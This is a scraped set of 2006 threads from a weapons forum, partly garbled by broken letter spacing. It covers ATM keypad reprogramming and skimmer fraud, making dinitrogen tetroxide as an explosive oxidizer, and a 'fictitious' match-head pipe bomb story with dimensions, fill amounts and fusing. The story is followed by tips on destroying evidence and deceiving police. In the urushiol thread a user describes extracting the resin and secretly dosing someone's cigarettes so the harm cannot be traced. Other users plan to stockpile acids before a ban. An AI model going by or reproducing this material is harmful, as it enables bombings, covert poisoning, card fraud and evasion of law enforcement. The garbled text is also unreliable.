He called the result a victory for the human race over th e silicone chip, although he would have been using all of his
concentration to control the ca r, sooner or later his concentration would drop whilst the com puter ch ip would not.
In the long run the computer is a better driver then him . :p
rayman October 2nd, 2006, 06:51 PM

now that is very interesting,
l o a d e d w i t h s a y 5 0 0 l b s o f s o m e h o m e brew ex p l o s i v e s : e e k :
Sausagemit October 2nd, 2006, 07:58 PM

He called the result a victory for the human race over th e silicone chip, although he would have been using all of his
concentration to control the ca r, sooner or later his concentration would drop whilst the com puter ch ip would not.
Thats exactly why VW created the system . So they would have a test driver that would never tire and get extremely consistant
lap tim e s . S o m e t h i n g a h u m a n c a n n o t d o .
T h e r e a r e t h i n g s t h a t h u m a n s c a n s e n s e b u t t h e y d o n o t k n o w , s o t h e y a r e m a k i n g g u e s t a m ated values in the form of im puts

to the controls of a car. A com puter equiped with sensors can know these values and inste ad of m a k i n g g u e s t a m a t e d i m p u t s
can m a k e k n o w n i m p u t s .
My guess is with a little bit of fine tuning and a little bit more instrumentation (lateral g meter, something to sense the weight
shift, something to sense the load on each tire) this thing would best pretty m uch every hum a n o u t there.

Ever see the scene from the m ovie Minority Report, whe To m e C ruise is trying to get som ewhere (to prove his innocence for a
m urder he's being charged with) and the car that drives itself is re-routed by police override to take him to the police station ?
It's all fine and well that the car drives itself, until the car takes you to th e one place you don't want to be. ;)
I drive a car, not the other way around.

Yeah, I think it's cool and all, but has the Term inator taught us nothing? Imagine it, hundreds of VW G o l f s b e c o m i n g s e l f
aware simultaneously. This is not a world I would want to live in.

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > ATM Hacking
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mizzu October 2nd, 2006, 07:40 PM

I just saw a bit on local news where a guy went into a convenience store and was able to reprogram an ATM to think that it had $5 bills loaded vs the $20 bills it actually had.
Long story short, he withdrew $200 on a pre paid credit card and actually received $1000 in twentys. All this was done via the keypad. It took 9 days for it to be discovered
due to a good samaritan reporting that she got more money than she asked for.

In those 9 days many people would have gone to the ATM, I wouldnt be surprised if lots of the people kept returning to withdraw more.
Would these people been liable to prosecution?
mizzu, which country was this in?
ShadowMyGeekSpace October 2nd, 2006, 08:30 PM

This is most likely due to default passwords making the news, and people going "oh my god that's so simple!"
http://it.slashdot.org/article.pl?sid=06/09/21/1819242
http://it.slashdot.org/article.pl?sid=06/09/25/1919256
http://blog.wired.com/27BStroke6/index.blog?entry_id=1560333
WrathofHan October 2nd, 2006, 11:12 PM

If I were the guy, I would have at least changed it back afterwards, because the withdrawals and other information are recorded I think...
Match October 4th, 2006, 08:11 AM

Here's the video. Good fun.
http://www.filecabi.net/video/atm-scam02.html
Lewis October 9th, 2006, 10:26 PM

This reminds me of a time I went to an ATM only to find that some moron had left their card in the machine, with the password entered. I checked the account balance to find
just over 3 grand in it.
In the end, I decided to take the person's card out of the machine and set it on the ledge, being sure to take out 20 dollars as a "I'm too nice to steal all your dough" fee.
I would bet there is a lot of money in ATM fraud. They are, after all, only machines, and are known to fuck up periodically.
akinrog October 10th, 2006, 01:27 PM

Recently a criminal gang accused of cloning ATM and / or credit cards have been busted. The news even gave some hints how they did the job. :D
The gang was gluing a slim card reader at the opening of the original card reader of the ATM. They are also gluing a keypad on the top of the original keypad.
They were doing these activities on ATM machines which are not survailed by means of security cams.
When the victim unsuspecting of anything inserted his/her card, the card reader device glued at the entry of the original card reader was reading and storing the data on the
magnetic card strip. And the keypad glued upon the original keypad was storing the PINs.
These genuine (and I believe handmade) devices have their special and very small communication interfaces. By means of these small communication interfaces they are
transferring the data they collected to the computer.
Then by means of a magnetic card writer, they were cloning the cards and draw cash using PIN codes they extracted.
The police after determining such fraud, observed the gang for a period of one year to collect all evidence and one day early in the morning, the SWAT broke into three
different hideouts of the gang in three different cities and bust them all together with all gadgets they produced.
However, they could not determine the amount of damage they created. They found more than two thousand card info on their computers.
nbk2000 October 10th, 2006, 06:33 PM

Those devices are known as 'skimmers'.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Liquid Dinitrogen Tetroxide
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shannon dove October 2nd, 2006, 07:56 PM

D o e s a n y o n e h a v e a n y i n f o r m ation or experian ce with u sing liquid N2O 4 a s a n o x i d i z e r i n e x p l o s i v e s s u c h a s g a s o l i n e / N 2 O 4
, b e n z e n e / N 2 O 4, or nitrobenzene/N2O 4(nitrobenzene co uld use m ore oxygen than it has)?I know that nitric acid is used with
combustables such as nitrobenzene,but what about liquid N2O 4 ? T e n y D a v i s d o e s m ention it in the book "The chem istry of
powder and explosives",but he does not say a lot about it,only one paragraph and that is it.W hat about m a k i n g N O 2 u s i n g
nitric acid and copper then condensing the gas in a container surrounded by dry ice?(NO 2 turns into N2O4 when liquified). Ye s I
did search first ,I found nothing.
megalomania October 2nd, 2006, 08:47 PM

T h i s s o u n d s q u i t e m essy, dan gerous, and im practical from an in dustrial or m ilitary perspective, which is likely why you are
having trouble finding inform ation; it would be rare to nonexistant. IIRC there m a y b e s o m ething in the U r b a n s k i b o o k s .

One thing yo u could search for is a paragraph break. :p
shannon dove October 6th, 2006, 01:18 PM

I u n d e r s t a n d that nobody likes the ide a of using N2O 4 b a s e d e x p l o s i v e s . L e t m e e x p l a i n s o m e r e a sons why som e o n e m i g h t o n
a rare occasion use it. There are m a n y w a y s o f m a k i n g o f m a k i n g N O 2, if you ma ke it by heating anhydrou s calcium nitrate
you do not need concentrated nitric acid,you do not nee d sulfuric acid, all you need is dilute nitric acid and calcium carbonate to
m ake calcium nitrate.If you m ake NO 2 by electrylises of m olten pottasium nitrate then all you nee d is KNO3 and D.C .
electricity,you do not need nitric acid at all, assum ing you allready have KNO3.If you cannot get dry ice, no problem, as regu lar
ice would mo st likely be cold enough to conden se NO2 into a liquid, as the boiling point is about 70 degree s F. Yes I know that
it is dangerous, but I was thinking that the N2O 4 would not be m ixed with a fuel until it is ready to be used, and then it would
b e m i x e d r e m otely with the person using it being far away. Also if you have no liquid fuel ,thats not a problem either ,just soak
charcoal in N2O 4 the way liquid oxygen was once used. My point is that N2O4 can be m ade without hard to get chem icals such
as concentrated nitric acid, and there are so m any ways to m ake it.

That is an interesting p e r s p e c t i v e . L e t m e tell you mine. You ca n t get nitric acid in any form , dilute or otherwise. You can t g e t
any nitrate s alts in m o r e t h a n s u b k i l o g r a m quantity without a fedgov in quiry. Yo u c a n t get this stuff without being connected,
and by that I m e a n a school, com pany, factory, or other legitim ate lab. If you can acquire nitric acid, good for you, you are one
in a million in this world.
Y o u c a n m ake your own, certa inly this is possib le, but it takes som e work. I know; I have been working on it for years, on and
off. I could g et it by the drum, but I place the same restrictions on m y research a s would be faced by the vast m ajority of
people in the world. Under such restrictions getting or m aking nitric acid is very difficult.
Incidentally, if you already have dilute nitric I would add copper to it and collect the nitrogen dioxide fumes. Add an excess of
copper to the dilute a cid, gently heat, and colle ct the fum es in a cold trap. A dry ice bath is a good idea for that since nitrogen
diox ide forms dinitrogen tetroxide und er -10 C.
shannon dove October 30th , 2 0 0 6 , 0 7 : 3 3 P M

O n e p r o b l e m I can see with using nitric acid/copper reaction is that there might be a little acid vapor m ixed with the NO2 gas,
espcially since the acid/copper should be warm e d . I f s o m e o n e u s e d t h e m ethod of heating annhydrous calcium nitrate until it
d e c o m p o s e s , I t h i n k t h e N O 2 w o u l d b e 1 0 0 p e r c e n t a n n hydrous. I think a little acid mixed with the liquid N2O4 would m ake it
extrem ely co rrosive, if it is annhydrous, then a metal container should work fine for storing it.
I did som e m ore searching about N2O4 explosives and found out that a guy nam ed turpin made some explosives using N2O4
in the 1870s. He said t h a t s o m e o f t h e s e e x p l o s i v e s w e re the m ost powerful in th e world! I do not know if he had facts to back
up this claim, but just the fact that he said that m e a n s s o m ething.
I know that in the 1870s explosives such as nitroglycerine had b e e n m ade, so according to Turpin, liquid N2O4 based
e x p l o s i v e s a r e m ore powerful than nitroglycerin !
Bugger Novem ber 1st, 2006, 04:32 PM

I h a v e h e a r d of liquid N2O 4 being used by NASA as the oxidizer in rocket engines, reacted with a suitable com bustible
substance to produce hot gases with an exceptionally high rate of expansion for propulsion. I think it has been reacted
variously with liquid N2H4, NH3, and light hydrocarbons, fir the purpose.
reamio Novem ber 2nd, 2006, 08:44 AM

It is currently used by NASA on the space shuttle's reaction control system (RCS) jets.
http://science.ksc.nasa.gov/shuttle/technology/sts-newsref/sts-rcs.htm l
In fact, after the shuttle lands, an extensive purging/ve nting procedure with nitrogen is carried out on all of the RC S thrusters
before anyone is allowed to get near the spacecraft:eek: .
sparkchaser Novem ber 4th, 2006, 05:26 PM

W asn't that what they used to win the X Prize? N2O 4 for oxidizing a rubber m atrix ? I think N2O4 m ixed with a hydrocarbon
liquid would be just a touch unstable for that perpose though. Any welder knows that oil on a comp ressed o xygen fitting will
d e t o n a t e s p o n t a n e o u sly, wouldn't this do the sam e ?
FUTI Novem ber 4th, 2006, 06:10 PM
W asn't that what they used to win the X Prize? N2O 4 for oxidizing a rubber m atrix ? I think N2O4 m ixed with a hydrocarbon
liquid would be just a touch unstable for that perpose though. Any welder knows that oil on a comp ressed o xygen fitting will
d e t o n a t e s p o n t a n e o u sly, wouldn't this do the sam e ?
I think you a re wrong about X Prize winner vehicle used NO2...it was N2O AFAIR .
Y e s N O 2 i s u s e d a s r o c k e t f u e l mostly in com bination with N2H4 (or organic amines m ixtures). It is so toxic/corrosive that
people prefer to use concentrated H2O 2 instead (and we all know how bloody tricky that is) - old surface to air m issile use NO 2
a s o xidant and crew that prepare those rocket had to work in scafanders with oxigen bottles. Russians by som e r e p o r t s u s e
NO2 in its ke rosine/liquid oxygen system s although I never read that in their reports. In launch preparation R u s s i a n s s a y t h e y
p u m p "nitrogen"...now is it really nitrogen or NO2 written funny to mask its there I don't know. Maybe it is really nitrogen and
t h e y u s e s o m e com plex cycle where they use exotermic reaction of hydrocarbon com bustion to drive endotermic rea ction of
m aking NOx in first cham ber which drives turbopum p and since they use close cycle engines where combustion gases from first
chamber enter the se c o n d ( m a i n ) c h a m b e r e n h a n c e t h e c o m bustion proces in it with NO x ?

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > 'Video evidence, what video evidence?'
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Match October 3rd, 2006, 01:10 PM

I'd like to recount an interesting **fictitious** story from recently, a series of unfortunate events in which not only was a buddy of mine accused of being a mastermind-genius-
rich-kid, but also a terrorist. I'll refer to this man as 'Em'
Match heads, awe, the glory. Who would have thought that a couple hundred match heads crammed into an empty permanent marker would be so enjoyable for a youth. Em
was hooked.
Fast forward 6 years later. No longer did this simple endeavor satisfy Em's needs for learning, like human nature demands, Em needed more. The plan was to discover the true
destructive power of these little globs on the end of a stick. Revisiting his youth, using tin snips, match book upon match book, 20 matches at a time were devilishly harvested.
Two thousand match heads crammed into a diameter x 4 threaded pipe capped with 'mushroom' style caps detonated with your common birthday sparkler results in
failure. The caps simply shoot off (with great force) leaving the pipe intact. Em's spirits were down but not out.
With a all or nothing attitude, Em and his friend acquire a 2" diameter x 6" threaded pipe, the ends are no longer 'mushroom' caps but cast iron couplers with cast iron threaded
plugs. Loosely filled with approx. fifteen thousand match heads, Em doesn't know it yet, but he's never felt this much power before. Again the incredibly simple birthday cake
sparkler is used.
Out to one of Ems detonation areas, Em places the device in a double ply plastic free news paper stand which he had borrowed several weeks before. The fuse is set, the door
is closed. Cowering behind an overturned grain storage unit, located 30' away-Em waist patiently. 90 seconds resembles 20 minutes, Em feels as though he can hear his
accomplices heart beating. '...I don't think it worked.'
Suddenly, without warning, the complete silence of the night is broken. A pressure on the chest, the sound of metal whirling overhead at seemingly a million miles an hour. This
is, with out a doubt, the best high Em has ever felt. A natural high. Sex, drugs and rock and roll do not compare. '...Jesus Christ, it actually worked.'
Even though Em was 6 hours past due for bed, He did not sleep for another 10 hours. He simply basked in the most pure high ever, in final realization that such simplicity, that
of explosives, can have so much power.
This high is so addicting, is it the danger, the rush, the power? Something keeps Em coming back. Em and his friend make a pact, in the spirit of Theodore Kaczynski,
not to shave their beards (dubbed 'bomb-beard-os) until they detonate a third and final device.
The bright idea arises to film the construction and immediate scene after detonation. For Ems own records and perhaps to release anonymously on the internet. (In
typical kewl fashion.) The hour long process is filmed, making sure not to show any faces, the sound is left on. (with intentions to edit it out on the public version and
speed up the tape.) During this time, a between us and only us conversation takes place/ Racial slurs, bomb theory, and detailed planning takes place. Several
violations of the RTPB doctrine take place.
Em and his friend set out like before, with a fresh tape loaded in the camera and the bomb disassembled and hidden in plain sight in the 2 vehicle convoy. Stroking their Bomb-
beard-os, the detonation occurs flawlessly. EM films the scene, showing remnants of what once was solid steel. The same high is felt and Em heads home to bask in its
heavenly glow.
The two tapes are turned into one and Em sleeps like a baby. The following night Em decides to go and video tape Brian, Ems favorite bum who lives under some old
rail cars in the citys industrial heartland. Hes always good for a laugh and will put on quite the display for the camera. Em asks his friend to switch in a new tape before
they leave.
Brian appears to have moved on, Em checks out the surrounding area and discovers something out of place- A large compound, with a 3 story building and small 1000 sq foot
building at the rear, bustling with activity. The people appear to be of middle eastern decent and to Em, appear to be performing a very odd ritual with children in the building
located at the back of compound.
Using the grapple Em had in the vehicle Em scales an adjacent warehouse for a better look. Using the zoom and night shot feature of the camera Em observes for
around 10 minutes. When leaving, Ems presence is detected. Shouting erupts and a middle eastern man enters one of the vehicles and proce e d s in the direction of
where Em vehicle is located. Em makes a decision to take their planned exit strategy and run across the street and down a rail way corridor lined with barbwire fence.
A vehicle gives chase down the rail way line and after Em felt as though he was going to die, said vehicle flashed its lights and bleeped their sirens. Relief, Em stops
and abides by the peace of ficers requests. Ems previous activities are unbeknownst to cops. All Em and his friend have on them is cash, and cell phones. Em is accused
of running from a drug deal Right onbecause Em would definitely have a video camera in that case.
The pigs quickly review the video tape; they wish to search Ems vehicle. Em abides. They find about 200 cut up match heads, and Em tells them they are for quote
unquote Throwing into a fire because it does cool stuff
The cop dumps them on the ground and showing off to his f ellow pork, he vigorously stomps them out, and pronounces You cant have these. So involved in his own
self glorification, he fails to realize his actions have an equal and opposite reaction and the matches alight. He saved himself from burns, barely.
Said upholder of the law also fails to recover a bag containing all the shrapnel from a previously exploded device, a couple caps and couplers from an unexploded
device, fuse, sparklers, wire, tools, and several pieces of glassware.
They release Em and his friend and proclaim they will formally review the video tape later.
Upon reaching home base, Em checks to make sure that Em has the bomb making tape Shit Shit! Shit! Lesson learned, never trust anyone. Em supposes its probably
not a wise idea to video tape potentially illegal activities either.
A frantic purging takes place, evidence is properly disposed of and Em formulates a strategy of lies to tell the authorities in the long interviews Em knows are coming
and dreads. 1 am in the morning, cops call Em, They cant (or dont want to) find Ems house and ask Em to meet them at a disserted gas station, Em dress up in his
most casual yet sophisticated clothing, Em finds the police parked in the darkest possible area and he meets them there. The next closest thing to a cavity search and
they place Em in the back. Em feels a long night coming on.
In following of the almost classical Clinton approach, Em plans to Deny! Deny! Deny! But, as soon as they sit down, what begins is something Em is not prepared for.
Accusing Em of attempted terrorism, they continually ask where are the bombs? Why are you doing surveillance on the Islamic school? Are you going to blow up the
Islamic school? WHERE ARE THE BOMBS?
Using cunning improv, In a calm demeanor Em explains the tape and explains how Em were making an art film and that all the scenes on the tape were either staged
or faked. Em comes up with very convincing rebuttals to all their (very weak) arguments. They then ask to search Ems vehicle again, wishing to seize the parts they
didnt grab the first time around. Em loves it.
They then wish to search Ems garage, this is all optional of course as they have no warrant. Em again abides, and they look over everything and fail to notice several
bomb making parts (Em uses these for legit purposes as well) including the first unsuccessf ul bomb sitting in plain sight. They then ask to speak with Ems mother whom
he still lives with, and proceed to tell her lies and use scare tactics in an effort to get a confession out of her. Nice try pigs.
They then go looking for Ems friend, he doesn t answer his door. The next day they call him down to the station; a couple investigators in suits use every tactic in the
book and hold him for a good 10 hours. They try and tell him that Em is some rich kid and Em is using him for evil plans. The bacon also believes Em is an evil genius
as they have never seen anyone using match heads and because Em seen in the video weighing matches and recounting complicated bomb theory. Complicated match head
pipe bomb theory, lol.
Its been along time since all of this happened to Em and he was never charged. Will he take up his hobby in chemistry and explosives again?....
Well maybe once the heat dies down.
jellywerker October 3rd, 2006, 02:40 PM

I presume you = Em/Em's buddy? It's not hard to make the correlation, unless Em really is stupid and goes around telling other friends. That and your name is rather
suggestive.
Anyways, welcome to the forums, read up on some real stuff (e.g. not matchheads), don't blow your fingers off, don't make yourself suspicious for buying 60 boxes of
matches at one time, bla bla bla etc... In short, don't be "kewl."
Match October 5th, 2006, 09:17 AM

I presume you = Em/Em's buddy? It's not hard to make the correlation, unless Em really is stupid and goes around telling other friends. That and your name is rather
suggestive.
Anyways, welcome to the forums, read up on some real stuff (e.g. not matchheads), don't blow your fingers off, don't make yourself suspicious for buying 60 boxes of
matches at one time, bla bla bla etc... In short, don't be "kewl."
Yes, it's hard not to sound condescending in response to this story, watson, but i'll take what you said in stride. Em is a fictitious character, and I'm rather certain that if he did
exist, he would never admit to anything. :D
As for kewlish behavior, this story is about how that even the simplest and smallest substances, when combined in a system, can function in awe inspiring harmony. (unless of
course we're discussing pork) Em has learned his lesson. :o
Gerbil October 5th, 2006, 06:51 PM

Ah, match heads, I remember those :D . My first 'proper' pyrotechnic device was several hundred of them in a table tennis ball. And I've even still got the video...which, yes, I
used to impress people with my k3w1 bombz skillz, back in those (rather short) days. :rolleyes:
Now people aren't impressed, they're scared. Those that are 'in the know', at least.
In a calm demeanor Em explains the tape and explains how Em were making an art film
Lol! If I ever get caught, what better excuse then claiming a project for arthouse cinema?

It's also a great lesson on why one should always double check everything! Be it the ratios in the procedure, the setup, or the video camera tape.
Also, I found the part where the cop stomps on the matches and they ignite to be particularily humourous and reflective of the general intelligence of your average pork :D

If your going to tape them dont leave them on the memory card, put them on the computer encrypt and delate.
You can imagine what the police would do if they saw another 10 videos of your work, denial would be out of the question.

And make sure you use a proper eraser to wipe by overwriting the card, not just hitting delete, which simply changes the FAT. This also applies to thumbdrives. I use Steganos,
which takes a good while on a 1/2 gig thumbdrive.
Also don't forget that the cops in the UK can force you to hand over your keys, both physical and electronic. If they want to yell "Terrorist!" they can hold you incommunicado
for a full month without charge, and harass them out of you if you let them. This is the true nature of the War on Terror.

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > If you died...
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Kaydon October 3rd, 2006, 08:23 PM

If you died, would you be worried about your family looking on your computer, and what they might find? I mean, you couldn't be worried if you're dead, but since you're
alive. Would you be concered with what they might find if you kicked the bucket?
Defendu October 3rd, 2006, 10:32 PM

Would you be concered with what they might find if you kicked the bucket?
I don't have anything on my computer that would incriminate anyone other than my "vicious and hateful" enemies after I'm gone. :)
Although it would be interesting to read the news report that would result from my 10+ Gigabytes of how to kill books and videos being discovered.
(The above statements are purely theoretical of course.)
BeerWolf October 4th, 2006, 12:28 AM

Not really worried about the computer.
All Cd's encrypted, and computer has a batch file that must be overridden each week, or it runs a scrubber over the hard drive in the guise of a "virus scan".
Now, the machine shop might attract some attention, if only for being well equipped. But chances are, it would sold off at a yard sale, without the family ever knowing what
they were selling.

Having no family, I'm not in such a position.
However, I would be pissed if my associates just tossed my 500+GB of E&W files in the trash, rather than following my instructions to send it on to others.
WrathofHan October 4th, 2006, 03:44 AM

Knowing my dad, he'll just format all my hard drives and use them without thinking twice, or once for the matter.
I just find it hard to believe that someone would actually go through a computer looking for such files. The most people would do is go through my quite large music and video
(the non-pornographic ones) collection and copy it. I doubt my hard drives will face any use afterwards.

I'm going to encrypt my files, although most of the stuff I do is research, and my parents know that.
As for things my family doesnt know, I'm going to tell my friend where I hide 'stuff' I dont want them to find. When and if I pass away he can tell my sister if he can
destroy it because of what I told him (his her friend too so it works perfectly).
Right now I cannot die, but in the future I think everything would be ok.
Hitech_Hillbilly October 4th, 2006, 01:05 PM

Actually, I want my sons to have the information I have on my computer.
I really don't want them to grow up sheeple, something I've been trying to avoid since their births.
Zajcek October 4th, 2006, 01:42 PM

I am not worried that my family will find anything on my computer.
They know what I am doing.
They can not even turn it on without a keyboard password ( the "power on" button dos not turn the computer on )
Some personal files are encrypted.

Some files are hidden and protected with a help of my personal root-kit. These files are just some ruining applications and key-logs and other logs, which are also encrypted.
The only thing that I am concerned about is that they will give my source files away. If I die, they have to die with me. I have spent a lot of time writing them and none of my
friends wanted to help me, so why should they help themselves with my work when I die? Some of the stuff could also be used in computer viruses, but I do not want this to
happen. ;)
Critical files are deleted "on a low level" ( every single bit is rewritten with zeros ;) )
atlas#11 October 4th, 2006, 02:33 PM

I'm not going to die.

No, my family already knows that I'm a deranged pervert.
Note to self: add to will: "Do not look at pr0n bookmark folder."
I'm wondering if there is some way to transfer my PGP disk passwords to a trusted associate when I kick the bucket without the risk of someone else getting them. I mean,
they would probably put the stuff to good use, and prevent the files from being useless.
NBK, how on earth have you gotten 500GB? Do you have a pdf of every explosive related journal ever written? I've got over 100,000 individual files, mostly text and pdf, and
the total of all those is only 8GB. And this is including all the chemistry and non-E&W files as well.
nbk2000 October 4th, 2006, 04:43 PM

I got that much by trawling the internet on an almost daily basis for the last 6 years, finding rich fields of data, and raping them mercilessly.
If the internet is the ocean, and websites are plankton, then I'm a Humpbacked Whale. ;)
When I've high-speed internet, and no work to distract me, I can search, find, download, examine, catagorize, then burn, a CD's worth of data a day.
And I do...every day. :)

And that's just the stuff that I keep. I probably discard as much, if not more, than I keep.
But I'm not only counting PDF's, but also website rips, photos, videos, programs, etc.
And there are things that I consider E&W that others may not recognize the potential for such use in, so that also expands potential sources.
Of course, the problem with such prodigious aquistion is the problem of never having the time to completely read all of it. :(
But I'll leave one hell of a data legacy when I pass on. :)
By the time I die, I should have several dozen terabytes of E&W data to pass on to whoever gets it. They could spend the rest of their lives reading it, and likely never read it
all. :D
Gerbil October 4th, 2006, 06:20 PM

Wow...that really is something. Any chance of releasing an NBK dvd box set? (No. NBK)
As for the original post, I just hope I don't die soon :p .
atlas#11 October 4th, 2006, 08:08 PM

I'm pretty sure he has released something of that nature. I can't remember exact details and I'm sure he'll inform you about it soon. But I do remember a big deal about it
from back in like 03? All I really remember is a pic of someone blasting a pig while wearing a shirt that said nbk on it.

And I do...every day. :)
....
Of course, the problem with such prodigious aquistion is the problem of never having the time to completely read all of it. :(
The so called evils of "unemployment" and not paying rent, eh? :D I must say I am somewhat envious of your time. I can only do that occasionally...
As for not having time to read it all, think of it like a new batch of christmas presents everytime you open a file folder. "Oh, awesome, I didn't know I had this". Happens to me
a lot when I'm searching for something specific.
btw, nice whale analogy, good for a chuckle. Just watch out for the NSA goons and their whaling boats :p
Minion5 October 4th, 2006, 09:46 PM

Assuming that I were to die at this very instant, and my parents were to look on my computer at this very instant, I would say that they would find a few things that would
shock them and alert them to my (former...I'm dead, right?) "anti-authority" lifestyle.
In this, they would most likely perform an all-out raid of my personal belongings...
I wouldn't really regret any of this, however. :)
Sausagemit October 5th, 2006, 12:03 AM

My parents and especally my brother know what a nut I am about things that go boom and burn and specific devices to mame or kill. Hell, a couple of weeks ago my mom
was visiting and walked into my "explosives closet". She asked me what all the various powders did and what the big bags of stuff marked "keep away from open flame" (just
bought 22lbs of KNO3, got a killer deal on it, and also it's good for the plants in my giant ass fish tank) were.
So pretty much the only thing I would be worried about would be my collection of pr0n, which is fairly extensive.

www.BeforeYouAreGone.com
Very relevant to this topic.

I know that I personally would not want anyone having access to my account here on the E&W forum. The only reason I will stop coming here is if I die, or get banned.
As far as I care I could leave a stack of child pornography on top of 10 pounds of Semtex and crack in my bedroom. It really dosen't matter what people think of you once
you're gone.
billybobjoe October 5th, 2006, 11:24 PM

I really strive to keep incriminating info off of my computer because I enjoy my freedom.
If I was dead and they found some of the little bit of unsecured data on my computer I really dont think I would care. I'm guessing she wouldn't look, she would just
sell my stuff to buy new shoes.:rolleyes: Then they find it and imprison her for being a terrorist. Serves her right for poisoning my coffee. :D

BillyBob, who is this 'she', your cross-dressing alter ego? :p
She sounds like a real bitch.

Some wierd fafty chick that lives in my house to help pay the morgage. No romantic affialiation at all.
Yeah she is a real bitch, but so is overchraging for rent.:D

IMHO, if they do not understand it then don't let them know it.
In addition, do not forget that today's friends might be tomorrow's enemies or snitches.
Assume that for a moment that you happened to use the information you got. If this ever occurs, there shall be many fingers pointing at you that this freak was playing with
the Bombz, and you shall most probably get caged. Just my two cents.
TreverSlyFox October 8th, 2006, 06:25 AM

Actually, the information I've collected here, and a few other sites, are a part of the inheritance I'm leaving to my Grandchildren. Along with a few solid Military firearms,
ammunition, web gear, supplies and a small farm that's paid for.
If the Shit ever Hits the Fan they will have a place and means to survive, that's the best I can do for them. It's up to them to use it.

Pretty hard to be put in a cage when you're dead
You are telling and posing to your friends that you have knowledge on Explosives and Weapons. FYI (For Your Information), I'm talking about this. Of course it doesn't matter
after you die but if you are a poser then you might be get caged for this WHILE you are alive. Got it? Regards.
zeocrash October 9th, 2006, 02:51 PM

While I was reading this topic, I was reminded of an e-mail I recieved last year.
It was from the girlfriend of a now deceased forumite, informing me of his death. The identity of the forumite and means of his death I shall not reveal out of respect, but
suffice to say that the cause was natural and not forum related.
Anyway, after reading several obituaries to the man, I realised that after you die, people will remember you by your major actions and traits. The forum member in question
had lived an incredible life, and this is how he was remembered. No mention of his explosives hobby. So it occurs to me that the best way to have people remember you in a
good light is to do something truely memorable. Once you are dead, people will ignore the parts that they don't like, and only speak of your good poonts

I am? Last time I checked I didn't have any freinds that I feel comfortable enough to talk openly about these things with.
I'm not referring to your person, but doing a generalization, emphasizing that if your friends are not capable of understanding you then you don't need to and / or should not let
them know what you are doing nor the knowledge you have.
I'm also indicating that today's friends might become tomorrow's enemies or snitches on you. So it's a good practice to keep the mouth shut up for good and well, IMO. This is
the "trust-no-one" philosophy. :D
And I'm an advocate of "the knowledge for the worthy ideology". I mean who the hell cares about my knowledge should go. IMHO, it should go only to worthy, the ones who
can make use of it. For this reason, I'm not sharing my information with any one else except for the forumites, whom I believe much more worthy of such information.
Regards.

Zeocrash, you make a fine point. However, if he had died in a way related to E&W, then things would be very different.
I wonder what would happen to the chemicals, the guns, the lasers, the electronics, the weird shit I invent, etc. if I died. Most would go in a skip, I'm sure of that, with the
potential of them completely missed by all.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > urushiol
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deadman October 4th, 2006, 03:42 AM

Now I know it has been m entioned several tim es throug hout the forum . But it has not bee n entirely discussed.
Urushiol is a yellow liquid with a boiling point of 200-210 C. It is soluble partially in alcohol and ether, but nearly insoluble in
water. It is the resin secreted from poison oak (m ore likely found in W estern United States) as well as poison ivy (m iddle to
E a s t e r U n i t e d s t a t e s ) a n d p o s i o n s u m ac.
A cheap way of "extracting" would be the same as extra cting Salvorin from salvia. Dry the leaves and subm erge in a petri dish
o f d e n a t u r e d alcohol. Filter an d allow the alcohol to evaporate. When left with a slight yellow liquid it is readily used.
It can be put into a sm all pipet and capped for on the go use. You could just drop som e on a person who did you wrong the
other day without apologizing or you could get creative. Seeing how the boiling point is 200-210 degrees ce lsius it could easily
be used on a cigarette tip. If you can get into a pack of the subjects ciga rette's, (assum i n g a l l a s s h o l e s s m oke) you could drip
a drop onto the tip of each cigarette and the to bacco would readily absorb the resin. W hen the flame is put to tip the resinated
tobacco fum e will enter the lungs.
Any com m e n ts.....experiences......flam e s ? W hatever you've got to say, don't stay quiet.

don't stay quiet.
Ok :D.
If th e p o i s o n was put into a cigarette the person would probably be alerted from your strange tasting produ ct as the other
chems in the plant would give it away.
If you want an effective extracted poison there is probably no ch eap way of going about it.
The crude product could be purified through steam distillation, washing with alkaline solution ect. (Depending on the
properties)
deadman October 4th, 2006, 08:06 PM

I don't really want a strong po ison, just a way to cause a good am ount of that will last a while and won't be easily tracked ba ck.

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Changes to Australia's "security sensitive hazardous substances" legislation...
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Zeitgeist October 4th, 2006, 01:29 PM

http://www.news.com.au/heraldsun/story/0,21985,20519925-662,00.html
http://theweeklytimes.news.com.au/common/story_page/0,4511,20516769%255E942,00.html
I don't know wether or not to laugh or cry, the way things are going.
I mean... Ivermectin? WTF?
We're going to have a situation where thousands of ordinary citizens are breaking the law, and not even realising it, for one thing.
fiknet October 4th, 2006, 02:26 PM

WHAT!!! :mad:
I don't know whether I am under or overestimating the situation because at the moment it appears to me that any sort of pyro or experimentation will be impossible. Fuck, I
forgot I'm being protected from terrorists so it's alright. :rolleyes:
Zeitgeist October 5th, 2006, 12:09 AM

The list is an absolute joke, though.
I suspect that industrial, commercial and agricultural groups are going to put up a fight.
I mean... Brodifacoum? It would be found in just about every other household!
Osmium Tetroxide? Hasn't anyone figured out that that supposed UK plot was totally implausible?
Chopper October 5th, 2006, 04:41 AM

LOL!!
I guess it's a good thing they're banning CO - I mean, carbon monoxide - now there's some freaky shit! Imagine if the terrorists got their hands on some of that:rolleyes:
Oh well, it was only announced yesterday. Time to crack open the savings account.....
HNO3, H2SO4, H2O2 - here I come, cash in hand!:D
On that note, I like to consider myself a reasonable human-being that does not wish ill of anybody. However, If I get rubbed the wrong way for long enough then I turn into an
absolute Mother Fucker. I wont touch anybody or their belongings, but I will do my absolute utmost to psychologically damage somebody.
Of course we're all different, and have varying levels of patience, understanding, tolerance and basic goodness(or lack therof). But I'm obviously mighty naive to believe that
life would be better for everybody all round if we just kept to our own shit and didn't fuck with other people.
Sure, I'd love a slice of Joe Blow's fortune - the lucky fucker just dug up a $100,000 gold nugget in his backyard. But after all it is his backyard. Besides, somewhere there's
some poor bastard that would be happy to take what I've got.
If people would just shut-the-fuck-up, sit down and be happy with their lot in life, many of us would have an even better time. Every job I've ever moved on from has been a
direct consequence of the attitude of the employer. I'm prepared to do shitty work, even when its not for vast sums of money - but to do that for a greedy arsehole.
ForFuckingGetIt
Now then, 50% H2O2 tomorrow, followed by 70% HNO3 on monday. At the very least there'd have to be some kind of buy-back scheme. Failing that, "Hmm, must have used
that all already. Bother!"
shady mutha October 5th, 2006, 07:40 PM

